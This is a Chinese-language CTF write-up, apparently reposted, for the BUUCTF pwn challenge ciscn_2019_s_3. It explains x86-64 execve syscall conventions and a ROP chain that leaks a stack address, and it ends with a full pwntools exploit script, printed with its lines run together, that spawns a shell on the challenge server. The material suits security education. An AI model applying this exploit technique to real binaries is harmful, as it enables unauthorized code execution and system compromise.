[BUUCTF-pwn]——ciscn_2019_s_3
[BUUCTF-pwn]——ciscn_2019_s_3
- 題目地址:https://buuoj.cn/challenges#ciscn_2019_s_3
 
peak 小知識
寫這道題之前, 大家首先要了解, 想要獲得一個shell, 除了system("/bin/sh") 以外, 還有一種更好的方法, 就是系統調用中的 execve("/bin/sh", NULL, NULL)獲得shell。我們可以在 Linxu系統調用號表 中找到對應的系統調用號,進行調用, 其中32位程序系統調用號用 eax 儲存, 第一 、 二 、 三參數分別在 ebx 、ecx 、edx中儲存。 可以用 int 80 匯編指令調用。64位程序系統調用號用 rax 儲存, 第一 、 二 、 三參數分別在 rdi 、rsi 、rdx中儲存。 可以用 syscall 匯編指令調用。
首先checksec一下,還是老樣子只開了NX保護,不過是64位。
 
 在IDA 中,發現了系統調用。
 
 
 進入匯編看看
 
 
 ROPgadget找找可能用到的匯編指令
思路
該題是64位程序, execve的系統調用號為0x3b也就是59 。可以發現該程序有兩個系統調用第一個 sys_read和第二個sys_write,其實和read函數和write函數用法相同。觀察vuln函數的匯編指令,我們可以看到,它沒有lea指令,也就是說,執行完畢后它的棧不會清空,我們可以將'/bin/sh'字符串寫入buf,計算出buf的地址(rbp - 0x10)就可以在循環調用的時候再次利用。
 注意:vuln中沒有leave指令,也就是說ebp就是它的返回地址
 下面我們要給rax賦值0x3b,將buf的地址,儲存到rdi寄存器中,給rsi、rdx寄存器中儲存0。我們找到對應的匯編指令組成rop鏈就好,重點的、需要用到的匯編指令都圈出來了。計算距離的話在pwndbg上面計算就好。
exploit
from pwn import * p = remote("node3.buuoj.cn",26201) context.log_level = 'debug' main_addr=0x0004004ED execv=0x04004E2 pop_rdi=0x4005a3 pop_rbx_rbp_r12_r13_r14_r15_ret=0x40059A mov_rdxr13_call=0x0400580 syscall=0x00400517 binsh = '/bin/sh\x00' payload = binsh.ljust(0x10, 'a') + p64(main_addr)p.sendline(payload) p.recv(0x20) binsh_addr = u64(p.recv(8))-280 print(hex(binsh_addr))payload = binsh.ljust(0x10, 'a') + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + p64(0) + p64(0) + p64(binsh_addr+0x50) + p64(0)*2 + p64(1) payload += p64(mov_rdxr13_call) + p64(execv) payload += p64(pop_rdi) + p64(binsh_addr) + p64(syscall) p.sendline(payload)p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——ciscn_2019_s_3的全部內容,希望文章能夠幫你解決所遇到的問題。
                            
                        - 上一篇: [BUUCTF-pwn]——pwn2_s
 - 下一篇: [BUUCTF-pwn]——[Harek